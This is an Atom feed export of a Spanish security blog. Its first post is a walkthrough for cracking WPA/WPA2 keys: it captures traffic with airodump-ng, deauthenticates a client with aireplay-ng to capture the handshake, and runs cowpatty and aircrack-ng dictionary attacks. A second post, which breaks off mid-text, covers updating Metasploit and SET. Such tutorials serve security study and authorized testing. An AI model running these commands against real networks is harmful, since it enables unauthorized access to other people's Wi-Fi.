<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10spanishfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CEYMRnkzfip7ImA9WhRUFk4.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219</id><updated>2012-01-26T20:43:07.786-06:00</updated><category term="Cisco Switch" /><category term="SDM" /><category term="Aireplay-ng" /><category term="Footprinting" /><category term="TFTP" /><category term="WAN" /><category term="Review" /><category term="FL-2016G" /><category term="Forensics" /><category term="Cisco" /><category term="Videotutoriales BackTrack" /><category term="Windows" /><category term="Seguridad Web" /><category term="Firewall" /><category term="Security" /><category term="CCENT" /><category term="GNS3" /><category term="Programming" /><category term="Layer 3" /><category term="Google Chrome OS" /><category term="CCNA" /><category term="Pentesting" /><category term="Network Security" /><category term="Tutoriales" /><category term="Noticias" /><category term="Servidores" /><category term="Networking" /><category term="Juniper" /><category term="Hacking Wireless" /><category term="SIOCSIFFLAGS" /><category term="Routing" /><category term="Certificaciones" /><category term="Notas" /><category term="Cisco IOS" /><category term="VTP" /><category term="JVM" /><category term="Browser Forensics" /><category term="Layer 2" /><category term="Herramientas" /><category term="SSH" /><category term="Switching" /><category term="WPA" /><category term="Criptografía" /><category term="GNU/Linux" /><category term="Cracking WEP" /><category term="Troubleshooting" /><category term="Aircrack-ng" /><category term="Metasploit" /><category term="WifiSlax" /><category term="Password Cracking" /><category term="Java" /><category term="Packet Injection" /><category term="VLANS" /><category term="Sniffing" /><category term="Malware" /><category term="Wifiway" /><category term="JDK" /><category term="Firefox" /><category term="WarDriving" /><category term="VMware" /><category term="Gestor de Arranque" /><category term="Alfa 2W" /><category term="Botnets" /><category term="2Wire" /><category term="Exploits" /><category term="Videotutoriales GNS3" /><category term="Ubuntu" /><category term="LiveCD" /><category term="RTL8187" /><category term="Airodump-ng" /><category term="Cisco Router" /><category term="Dynamips" /><category term="Password Recovery" /><category term="Anonimato" /><category term="WiFi" /><category term="BackTrack" /><title>Security &amp; Networking</title><subtitle type="html">Tips &amp;amp; Video Tutoriales, BackTrack, Wifiway, VMware, GNS3, Cisco Routers &amp;amp; Switches, [ Programming ]</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://delfirosales.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>112</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/delfirosales" /><feedburner:info uri="delfirosales" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by/2.0/" /><feedburner:emailServiceId>delfirosales</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/content?lg=es&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://eur.i1.yimg.com/eur.yimg.com/i/es/my/addto1.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.feedness.com/alta/http://feeds.feedburner.com/delfirosales" src="http://www.feedness.com/ayuda/wp-content/square_b_sh_feed.gif">Subscribe with Feedness</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/delfirosales" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2Fdelfirosales" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><entry gd:etag="W/&quot;C0MHQ3c-fyp7ImA9WhRQGEQ.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-2608118742295345759</id><published>2011-12-12T07:46:00.012-06:00</published><updated>2011-12-14T13:37:12.957-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-14T13:37:12.957-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Airodump-ng" /><category scheme="http://www.blogger.com/atom/ns#" term="Aireplay-ng" /><category scheme="http://www.blogger.com/atom/ns#" term="Aircrack-ng" /><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking Wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="Alfa 2W" /><category scheme="http://www.blogger.com/atom/ns#" term="WiFi" /><category scheme="http://www.blogger.com/atom/ns#" term="WPA" /><title>Cracking WPA/WPA2 con CoWPAtty &amp; Aircrack-ng</title><content type="html">&lt;div style="text-align: justify;"&gt;Aunque &lt;a href="http://es.wikipedia.org/wiki/Wi-Fi_Protected_Access"&gt;WPA (Wi-Fi Protected Access)&lt;/a&gt; es más seguro que &lt;a href="http://es.wikipedia.org/wiki/Wired_Equivalent_Privacy"&gt;WEP (Wired Equivalent Privacy)&lt;/a&gt;, en el instante inicial en que la conexión se establece, WPA es más vulnerable que WEP ya que es necesario capturar un menor número de frames (solo es necesario capturar un total de 4 frames del handshake intercambiadas entre el cliente y el punto de acceso para llevar el descubrimiento de claves) para obtener la clave inicial de cifrado mediante ataques de diccionario.&lt;br /&gt;&lt;br /&gt;WPA es vulnerable a un ataque de diccionario y para este ataque es necesario el obtener el 4 way handshake entre el cliente y el punto de acceso. Es necesario también un wordlist o diccionario de palabras. Luego, utilizando herramientas como CoWPAtty y Aircrack-ng intentar obtener la clave pre compartida de WPA/WPA2.&lt;br /&gt;&lt;br /&gt;CoWPAtty fue creado por Joshua Wright &lt;a href="http://www.willhackforsushi.com/?page_id=50"&gt;http://www.willhackforsushi.com/?page_id=50&lt;/a&gt; y tiene todas las características que uno podría desear de una buena herramienta sin salir de su propósito. Esta herramienta es para automatizar el ataque de diccionario a las redes WPA-PSK y es muy sencillo de utilizar. Lo primero que haremos es lanzara airodump-ng para seleccionar un objetivo.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~#&lt;span style="color: rgb(51, 255, 51);"&gt; airodump-ng mon0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-hOihynixzKY/TuYGEHGq5QI/AAAAAAAABdk/TOONxdM3R40/s1600/Airodump_WPA.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-hOihynixzKY/TuYGEHGq5QI/AAAAAAAABdk/TOONxdM3R40/s1600/Airodump_WPA.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center; font-style: italic;"&gt;En buscando de un Objetivo.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Tal como podemos ver en la imagen anterior, hay dos clientes conectados a la red "Wireless" y tiene encriptación WPA, con cifrado TKIP. Ahora lo que aremos es lanzar airodump-ng para que escuche en el canal donde esta transmitiendo el punto de acceso que tenemos como objetivo, en este caso "Wireless" que esta transmitiendo en el canal 11 y despues lanzar el "Ataque 0 Deautenticación" para desautenticar  a un cliente y así obtener el 4 way handshake.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~#&lt;span style="color: rgb(51, 255, 51);"&gt; airodump-ng --channel 11 --bssid FX:XX:XX:XF:AB:7C --write wpademo mon0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Para obtener la captura completa de 4 frames  del handshake, es necesario que haya al menos un cliente conectado o esperar a que un cliente se conecte (esto si eres muy paciente :D). Si hay un cliente conectado lo que se hará es realizar el ataque “-–deauth” o también conocido como “ataque 0” utilizando aireplay-ng y lo que sucederá aquí es, que desasociaremos al cliente conectado actualmente al punto de acceso y cuando se vuelve a conectar obtendremos los 4 frames del handshake. El detalle es que si no hay clientes conectados al punto de acceso, no podremos obtener la clave WPA ya que es necesario que haya clientes conectados o esperar que alguien se conecte al AP para la obtención del four-way handshake.&lt;br /&gt;&lt;br /&gt;Bueno en mi caso lo que hare es desautenticar el cliente con direccion MAC "0C:XX:76:XX:D5:5B" del ESSID "Wireless".&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~#&lt;span style="color: rgb(51, 255, 51);"&gt; aireplay-ng --deauth 1 -a FX:XX:XX:XF:AB:7C -c 00:60:76:71:D5:5B mon0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-5Ae9dEpMZLQ/TuYGUctOr2I/AAAAAAAABdw/ngayEIQVSU0/s800/WPA_deauth.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-5Ae9dEpMZLQ/TuYGUctOr2I/AAAAAAAABdw/ngayEIQVSU0/s1600/WPA_deauth.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Desautentificación de un cliente wifi.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;He desasociado al cliente del punto del acceso, ahora el cliente lo que hará es volver a reautenticarse y es entonces cuando obtendremos los 4 paquetes del handshake. En la reautenticación se generarán los 4 paquetes de autenticación (handshake) en los que estamos interesados en capturar. Después estos paquetes los usaremos para intentar obtener la clave precompartida WPA/WPA2.&lt;br /&gt;&lt;br /&gt;Bueno ahora pongan atención en la siguiente imagen donde se muestra una sesión de airodump-ng y en la parte superior de la imagen se muestra un mensaje "WPA handshake F4:C7:14:6F:AB:7". El four-way handshake ha sido capturado.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Gx2TgbJCikw/TuYGlsFR5bI/AAAAAAAABd8/90za2Tvr_Js/s1600/Four-way%2Bhandshake.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-Gx2TgbJCikw/TuYGlsFR5bI/AAAAAAAABd8/90za2Tvr_Js/s1600/Four-way%2Bhandshake.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Four-way handshake capturado.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Tal y como se muestra en la imagen anterior, hemos obtenido los 4 paquetes handshake. Estos cuatro paquetes como lo mencionamos anteriormente los utilizaremos para obtener la clave WPA/WPA2 precompartida. Para esto necesitaremos un wordlist o diccionario de palabras, el cual contiene la contraseña de WPA/WPA2-PSK.&lt;br /&gt;&lt;br /&gt;Antes de pasar al siguiente paso, ahora lo que haremos es detener airodump-ng y abriremos el archivos ".cap" capturado con Wireshark para ver el “four-way handshake”. El archivo debe ser algo similar a la siguiente captura.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-_baoURf7u2w/TuYGxL60jBI/AAAAAAAABeI/YES1pDs2008/s1600/EAPOL_Key.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-_baoURf7u2w/TuYGxL60jBI/AAAAAAAABeI/YES1pDs2008/s640/EAPOL_Key.png" width="640" border="0" height="393" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;EAPOL Key&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Bueno ahora lo que haremos es empezar el crackeo, para esto necesitaremos un wordlist y es aquí donde entra en juego CoWPAtty. Debemos de indicarle a CoWPAtty la ruta donde tenemos el wordlist o diccionario de palabras, también la captura del four-way handshake y por ultimo el SSID de la red wifi, que en este caso es "Wireless". Básicamente lo que hara CoWPAtty es ir comprobando cada una de esas palabras que contiene el diccionario si coincide con la clave. Este proceso todo será dependiendo de la velocidad de nuestro CPU, también de la calidad y el tamaño del diccionario de palabras (wordlist), esto puede llevar bastante tiempo, incluso días o años jeje si eres impaciente puedes esperar :D. Bueno Lanzamos CoWPAtty desde consola.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~#&lt;span style="color: rgb(51, 255, 51);"&gt; cowpatty -r wpademo-02.cap -f /pentest/passwords/john/password.lst -2 -s Wireless&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-PpQlunbGAlI/TuYG9A1KBbI/AAAAAAAABeU/wLafvI7LQu8/s1600/CoWPAtty.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-PpQlunbGAlI/TuYG9A1KBbI/AAAAAAAABeU/wLafvI7LQu8/s1600/CoWPAtty.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;El Crackeo con CoWPAtty ha tenido éxito.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para especificar nuestro diccionario de palabras lo hacemos con el parámetro –f (-f /pentest/passwords/john/password.lst), el SSID con el parámetro –s (-s Wireless) y el archivo capturado con el parámetro –r (-r wpademo-02.cap). El ultimo parámetro -2, es el modo no estricto, esto se requiere cuando no tenemos capturados los 4 frames del handshake, es decir el paquete completo. Por cierto una opción bastante buena.&lt;br /&gt;&lt;br /&gt;En este ejemplo he utilizado un diccionario de palabras que lo trae incluido BackTrack de John the Ripper, el archivo se encuentra en el directorio /pentest/passwords/john/password.lst&lt;br /&gt;&lt;br /&gt;Es importante comentar que para el crackeo de WPA debemos de tener un muy buen diccionario de palabras. La distribución de BackTrack incluye unos cuantos diccionarios pero estos puede que no sean suficientes, para esto deben de buscar en Google o igual existen generadores de palabras que automatizan este proceso de generar diccionarios.&lt;br /&gt;&lt;br /&gt;Ahora veamos un ejemplo final utilizando Aircrak-ng. Vamos a especificar la ruta de nuestro diccionario con el parámetro –w (-w /pentest/passwords/john/password.lst) y nuestro archivo de captura (wpademo-02.cap).&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~#&lt;span style="color: rgb(51, 255, 51);"&gt; aircrack-ng -w /pentest/passwords/john/password.lst wpademo-02.cap&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-nWGFouh2qzg/TuYHJv_ha3I/AAAAAAAABeg/Y4PThzBX2pA/s1600/wpa_Aircrack-ng.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-nWGFouh2qzg/TuYHJv_ha3I/AAAAAAAABeg/Y4PThzBX2pA/s1600/wpa_Aircrack-ng.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Aircrack-ng en Acción.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para el crackeo de WPA2 el proceso es el mismo, no hay diferencia. También hay que tener muy en cuenta de que al tratarse de un ataque de diccionario el requisito previo es que la contraseña debe estar en el diccionario de palabras que le estamos indicando, si la frase u contraseña no se encuentra en el diccionario, el ataque no tendrá éxito.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-2608118742295345759?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=UfMZyDju3gE:_4SctYw32t0:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=UfMZyDju3gE:_4SctYw32t0:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=UfMZyDju3gE:_4SctYw32t0:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=UfMZyDju3gE:_4SctYw32t0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=UfMZyDju3gE:_4SctYw32t0:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=UfMZyDju3gE:_4SctYw32t0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=UfMZyDju3gE:_4SctYw32t0:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/UfMZyDju3gE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/2608118742295345759/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=2608118742295345759" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2608118742295345759?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2608118742295345759?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/UfMZyDju3gE/cracking-wpawpa2-con-cowpatty-aircrack.html" title="Cracking WPA/WPA2 con CoWPAtty &amp; Aircrack-ng" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-hOihynixzKY/TuYGEHGq5QI/AAAAAAAABdk/TOONxdM3R40/s72-c/Airodump_WPA.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/12/cracking-wpawpa2-con-cowpatty-aircrack.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEUDRXg-fSp7ImA9WhRQFk4.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-6643315271193479373</id><published>2011-12-11T13:13:00.006-06:00</published><updated>2011-12-11T13:37:54.655-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-11T13:37:54.655-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="Metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack" /><title>Updating Metasploit Framework &amp; Social Engineer Toolkit  en BackTrack 5</title><content type="html">&lt;div style="text-align: justify;"&gt;Social Engineer Toolkit (SET) se integra muy bien con Metasploit. Al usar cualquier de estas herramientas, siempre es bueno asegurarse de tener la ultima versión. Con Metasploit la regla de oro es actualizarlo a diario jeje bueno al menos cuando lo utilices, ten asegurado de tener la ultima versión, antes de cualquier prueba.&lt;br /&gt;&lt;br /&gt;Para actualizar Metasploit Framework solo tenemos que ir al Menu BackTrack - &lt;span style="font-weight: bold;"&gt;Exploitation Tools&lt;/span&gt; - &lt;span style="font-weight: bold;"&gt;Network Exploitation Tools&lt;/span&gt; - &lt;span style="font-weight: bold;"&gt;Metasploit Framework&lt;/span&gt; - &lt;span style="font-weight: bold;"&gt;msfupdate&lt;/span&gt; o también lo podemos hacer desde consola, tecleando el siguiente comando.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#msfupdate&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;Para actualizar la herramienta &lt;a href="http://delfirosales.blogspot.com/2011/12/vector-de-ataque-web-con-social.html"&gt;Social Engineer Toolkit (SET)&lt;/a&gt; solo tenemos que ir a la dirección donde se encuentra la herramienta y ejecutarla.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;cd /pentest/exploits/set/&lt;/span&gt;&lt;br /&gt;root@bt:/pentest/exploits/set# &lt;span style="color: rgb(51, 255, 51);"&gt;ls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;config  modules  readme  reports  set  set-automate  set-proxy  set-update  setup.py  set-web  src&lt;/span&gt;&lt;br /&gt;root@bt:/pentest/exploits/set# &lt;span style="color: rgb(51, 255, 51);"&gt;./set&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;Una vez ejecutado nos preguntara la tarea que deseamos realizar.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Select from the menu:&lt;br /&gt;&lt;br /&gt;1) Social-Engineering Attacks&lt;br /&gt;2) Fast-Track Penetration Testing&lt;br /&gt;3) Third Party Modules&lt;br /&gt;4) Update the Metasploit Framework&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;5) Update the Social-Engineer Toolkit&lt;/span&gt;&lt;br /&gt;6) Help, Credits, and About&lt;br /&gt;99) Exit the Social-Engineer Toolkit&lt;br /&gt;&lt;br /&gt;set&amp;gt; 5&lt;/code&gt;&lt;/pre&gt;Elegimos la opción 5, que es para actualizar y listo. También podemos hacerlo en un solo paso desde consola tecleando el siguiente comando. ./set-update&lt;br /&gt;&lt;pre&gt;&lt;code&gt;root@bt:/pentest/exploits/set# &lt;span style="color: rgb(51, 255, 51);"&gt;./set-update&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-06mrphjy4v8/TuUBfwO9CmI/AAAAAAAABdM/ckgP4uPCS98/s1600/Metasploit_Update.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img 